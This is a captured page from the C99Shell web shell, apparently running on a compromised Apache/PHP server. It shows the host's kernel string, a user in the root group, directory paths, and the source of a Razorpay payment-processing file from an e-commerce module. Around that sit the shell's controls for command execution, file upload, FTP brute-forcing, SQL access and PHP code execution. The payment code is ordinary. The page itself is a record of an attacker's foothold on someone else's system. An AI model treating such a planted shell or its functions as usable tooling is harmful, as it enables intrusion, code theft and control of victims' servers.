!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Razorpay/Processor/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RazorpayProcessor.php (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package RazorpayProcessor
 * @author TechVillage <support@techvill.org>
 * @contributor Muhammad AR Zihad <[zihad.techvill@gmail.com]>
 * @created 16-2-22
 */

namespace Modules\Razorpay\Processor;

use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Facades\GatewayHelper;
use 
Modules\Razorpay\Facades\RazorFacade;
use 
Modules\Razorpay\Response\RazorResponse;
use 
Razorpay\Api\Errors\SignatureVerificationError;

class 
RazorpayProcessor implements PaymentProcessorInterface
{
    public function 
pay($request)
    {
        if (empty(
$request->razorpay_payment_id) === false) {

            
$razor RazorFacade::razorData();

            
$api RazorFacade::api($razor->apiKey$razor->apiSecret);

            try {
                
$attributes = array(
                    
'razorpay_order_id' => RazorFacade::getOrderId(),
                    
'razorpay_payment_id' => $request->razorpay_payment_id,
                    
'razorpay_signature' => $request->razorpay_signature
                
);
                
$api->utility->verifyPaymentSignature($attributes);
            } catch (
SignatureVerificationError $e) {
                
paymentLog($e);
                throw new 
\Exception($e->getMessage());
            }
        } else {
            throw new 
\Exception(__('Payment id not found.'));
        }
        return new 
RazorResponse(GatewayHelper::getPurchaseData(GatewayHelper::getPaymentCode()), $attributes);
    }


    
/**
     * Validate transactions
     * @param Request
     * @return RazorResponse
     *
     * @throws \Exceptions
     */
    
public function validateTransaction($request)
    {
        
$errors $request->error;

        if (
is_array($errors) && isset($errors['description'])) {
            throw new 
\Exception($errors['description']);
        }

        if (empty(
$request->razorpay_payment_id) === false) {

            
$razor RazorFacade::razorData();

            
$api RazorFacade::api($razor->apiKey$razor->apiSecret);

            try {
                
$attributes = array(
                    
'razorpay_order_id' => $request->razorpay_order_id,
                    
'razorpay_payment_id' => $request->razorpay_payment_id,
                    
'razorpay_signature' => $request->razorpay_signature
                
);
                
$api->utility->verifyPaymentSignature($attributes);
            } catch (
SignatureVerificationError $e) {
                
paymentLog($e);
                throw new 
\Exception($e->getMessage());
            }
        } else {
            throw new 
\Exception(__('Payment id not found.'));
        }
        return new 
RazorResponse(GatewayHelper::getPurchaseData(GatewayHelper::getPaymentCode()), $attributes);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--